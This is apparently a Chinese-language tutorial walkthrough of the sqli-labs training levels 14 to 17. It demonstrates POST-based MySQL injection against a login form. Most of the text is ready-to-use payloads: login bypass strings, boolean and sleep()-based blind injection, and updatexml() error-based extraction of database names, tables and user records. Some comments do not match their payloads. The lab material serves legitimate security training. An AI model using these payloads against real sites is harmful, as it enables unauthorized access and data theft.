文章目录
- 1. SqliLab_Mysql_Injection详解_字符型注入(七)
- 2. SqliLab关卡(包含14,15,16,17)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
- 3.总结
1. SqliLab_Mysql_Injection详解_字符型注入(七)
1.1. SQL注入_POST型注入
1.2. 原理
区别于GET型注入,POST型注入,通常是对包含在传递的数据包中参数进行注入,这里的数据包通常使用抓包工具来抓取(如BURPSUIT和wireshark等),然后更改数据包的内容来达到注入的目的;
2. SqliLab关卡(包含14,15,16,17)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-14(POST 型注入_报错注入(双引号闭合)):
2.1.1. 初始界面
2.1.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
uname=a or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit6
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用(or 1=2)进行构造;
uname=a" or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数‘uname’存在注入,闭合字符为【"】;
由此,判断出参数‘uname’存在POST注入(xor一样),闭合字符为【"】,万能密码登录为(admin"#);
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;
uname=a"' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误有提示(预期错误有提示),存在SQL语句报错信息提示;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和有报错提示的情况,这时候如果再利用UNION联合查询法查看显位的方式就失效了,可以采用报错注入的方式(updatexml()函数,extractvalue(),floor()函数等)来获取想要的信息,具体流程和SqliLab-13的一模一样(只是payload的URL链接(13转变为14)和参数的字符闭合方式发生变化(’)转变为"),SqliLab-14结束;
2.2. SqliLab-15(POST 型注入_布尔/时间盲注(单引号闭合)):
2.2.1. 初始界面
2.2.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
uname=a or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用(or 1=2)进行构造;
uname=a' or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数‘uname’存在注入,闭合字符为【'】;
由此,判断出参数‘uname’存在POST注入(xor一样),闭合字符为【’】(万能密码登录为(admin’#)),且无回显信息;
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;
uname=a'' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),尝试下面链接;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),尝试下面链接;
uname=a'^$& or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),尝试下面链接;
uname=a^$&)* or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),尝试下面链接;
...
经过尝试,服务器返回页面不存在SQL语句报错信息提示,尝试是否存在布尔盲注或者时间盲注;
EG:
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确无显示(预期正确有提示),尝试下面链接;
uname=a' or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误无显示(预期错误有显示),尝试下面链接;
uname=admin' and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回页面存在时间延迟(预期有延迟),尝试下面链接;
uname=admin' and if(1=2,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回页面不存在时间延迟(预期无延迟),判断出参数(uname)存在时间盲注;
经过尝试,服务器返回页面存在布尔盲注或者时间盲注;
2.2.3. 收集数据库信息
EG:
布尔盲注(使用left(),length(),ascii(),substr()/substring()函数, 构造链接):
uname=a' or left(version(),1)='5' %23&passwd=1&submit=Submit
//返回mysql版本的第一个字符,已查询到为(5);
uname=a' or length(user())='5' %23&passwd=1&submit=Submit
//返回数据库当前用户名的长度,已查询到为(5);
...
2.2.4. 求当前数据库名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
uname=a' or left(database(),1)='s' %23&passwd=1&submit=Submit
//返回当前数据库名的第一个字符,已查询到为(s);
...
2.2.5. 求当前数据库中表的数量
使用count()函数求数据库中的表的数量;
EG:
uname=a' or (select count(table_name) from information_schema.tables where table_schema=database())=4 %23&passwd=1&submit=Submit
//返回当前数据库中表的数量,已查询到为(4);
2.2.6. 求当前数据库中的各个表的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
uname=a' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23&passwd=1&submit=Submit
//返回当前数据库中的第一个表的长度,已查询到为(6);
...
2.2.7. 求当前数据库中的各个表的表名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
uname=a' or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' %23&passwd=1&submit=Submit
//返回当前数据库中的第一个表的表名的第一个字符;已查询到为(e);
...
2.2.8. 求‘users’表中的字段数量
使用count()函数求‘users’表中的字段的数量;
EG:
uname=a' or (select count(column_name) from information_schema.columns where table_name='users')=3 %23&passwd=1&submit=Submit
//返回‘users’表中的字段数量,已查询到为(3);
2.2.9. 求‘users’表中的各个字段的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
uname=a' or length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2%23&passwd=1&submit=Submit
//返回‘users’表的第一个字段的长度,已查询到为(2);
...
2.2.10. 求‘users’表中的各个字段的值(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求ASCII值:
EG:
uname=a' or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 %23&passwd=1&submit=Submit
//返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i);
...
2.2.11. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z,0~9)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个)),得到ASCII值再转换成字符;
求‘users’表中的第一个字段‘id’的第一条信息;
求ASCII值:
EG:
uname=a' or ascii(substr((select id from users limit 0,1),1,1))=49 %23&passwd=1&submit=Submit
//返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1);
...
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-15结束;
2.3. SqliLab-16(POST 型注入_布尔盲注/时间盲注(")闭合)):
2.3.1. 初始界面
2.3.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
uname=a'' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
uname=a'] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
uname=a'} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
uname=a"' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=a"" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
uname=a"] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
uname=a"} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
uname=a)' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
uname=a)" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
uname=a)) or 1=1 %23&passwd=1&submit=Submit
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变,尝试用admin进行测试,是否存在盲注;
uname=admin and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=admin' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=admin" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=admin) and i1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替())进行构造;
uname=admin'' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=admin'" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=admin') and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('))进行构造;
uname=admin"' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=admin"" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=admin") and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用1=2进行构造;
uname=admin") and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数(uname)存在盲注,参数的闭合字符为(")),测试是否含有时间盲注;
uname=admin") and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回延迟为7秒(2秒查询,5秒休眠),尝试sleep(7);
uname=admin") and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回延迟为9秒(2秒查询,7秒休眠),尝试sleep(9);
uname=admin") and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回延迟为11秒(2秒查询,9秒休眠),基本可以判断参数(id)存在时间注入;
由此,判断出参数‘uname’存在POST注入,闭合字符为【")】(万能密码登录为(admin")#)),且存在无回显信息无报错提示,存在布尔和时间注入,可以考虑使用盲注来获取想要的信息,知道了注入点以及可以采用的注入方式后,就很好构造payload去获取想要获取的信息了,这里采用布尔盲注的策略,具体流程和SqliLab-15的一模一样(只是payload的URL链接(15转变为16)和参数的字符闭合方式发生变化('转变为")),SqliLab-16结束;
2.4. SqliLab-17(POST 型注入_报错注入(单引号闭合)(使用update语句(参数passwd)更改password)):
2.4.1. 初始界面
2.4.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
uname=a'' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
uname=a'] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
uname=a'} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
uname=a"' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=a"" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
uname=a"] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
uname=a"} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
uname=a)' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
uname=a)" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
uname=a)) or 1=1 %23&passwd=1&submit=Submit
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变,尝试用admin进行测试,是否存在盲注;
uname=admin and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=admin' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=admin" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=admin) and i1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替())进行构造;
uname=admin'' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=admin'" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=admin') and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('))进行构造;
uname=admin"' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=admin"" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=admin") and 1=1 %23&passwd=1&submit=Submit
...
经过尝试发现(宽字节绕过,特殊字符过滤绕过等),参数(uname)不存在注入,尝试对参数(passwd)进行测试,根据初始页面的(PASSWORD RESET)提示,猜测服务器接收请求后,后台可能执行了update语句,更新password,update语句结构为update table set passwd = ’ ’ where uname = ’ ’ ;),尝试通过观察update语句(password值是否改变)对参数passwd进行注入点判断;
EG:
使用闭合符号进行尝试,查看是否被带入语句中执行(原有password是否被更改);
uname=admin&passwd='&submit=Submit
//单引号没有被显示(单引号不显示),可能存在注入(存在报错提示),尝试(\')代替(')进行构造;
uname=admin&passwd=\'&submit=Submit
//单引号显示(单引号显示),参数passwd存在注入,闭合字符为【'】;
EG:
使用sleep()函数进行判断
uname=admin&passwd=a' or sleep(5) or '&submit=Submit
//服务器返回延迟为7秒(2秒查询,5秒休眠)(预期有时间延迟),参数passwd存在注入,闭合字符为【'】;
经过上面测试得知,参数passwd存在注入,闭合字符为【’】,服务器返回页面存在SQL语句报错信息提示(可以尝试使用报错注入)和时间延迟(可以尝试使用时间盲注),这里采用报错注入的方式获取想要的信息比较快捷;
2.4.3. 收集数据库信息
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;
uname=admin&passwd=a' and updatexml(1,concat(0x7c,version(),0x7c,database(),0x7c, user(),0x7c),1) %23&submit=Submit
//返回数据库的版本信息,当前使用数据库的名字,数据库用户;
...
2.4.4. 查询Mysql中存在的其他数据库
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=a' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) %23&submit=Submit
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.4.5. 查询当前数据库‘security’存在的表
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=a' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) %23&submit=Submit
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.4.6. 查询‘emails’表的字段
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=a' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7c),1) %23&submit=Submit
//查看到报错信息显示了‘users’表的字段为(id,email_id)
2.4.7. 查询‘emails’表的字段值信息(无法查看到users表的字段值信息,是因为执行update语句的表就是users表)
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=a' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,email_id,0x7c) from emails),0x7e),1,32),1) %23&submit=Submit
查看到报错信息显示了‘emails’表的字段值信息为(|1|Dumb@dhakkan.com|,2|Angel@ilo。。。。。。);
...
查询其他的值也是同上面的方法一致;到此,POST型注入(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-17结束。
3.总结
注入的开始步骤就是判断注入点,同时也是比较费时间的步骤,注入点成功判断,才能为后面的payload提供基础,判断的时候覆盖面尽量多一些,增加判断成功概率,同时,如果一个参数发现不了注入点,考虑更换一个参数进行尝试,同时要同判断时发现的一些线索,判断服务器后台可能执行的SQL语句的基本结构是什么,然后根据语句结构,尝试构造测试payload,最后,通过注入点的成功判断,要尽量选择快捷的注入方式(盲注时间相对较长)来获取想要的数据库信息。
[如有错误,请指出,拜托了<( _ _ )> !!!]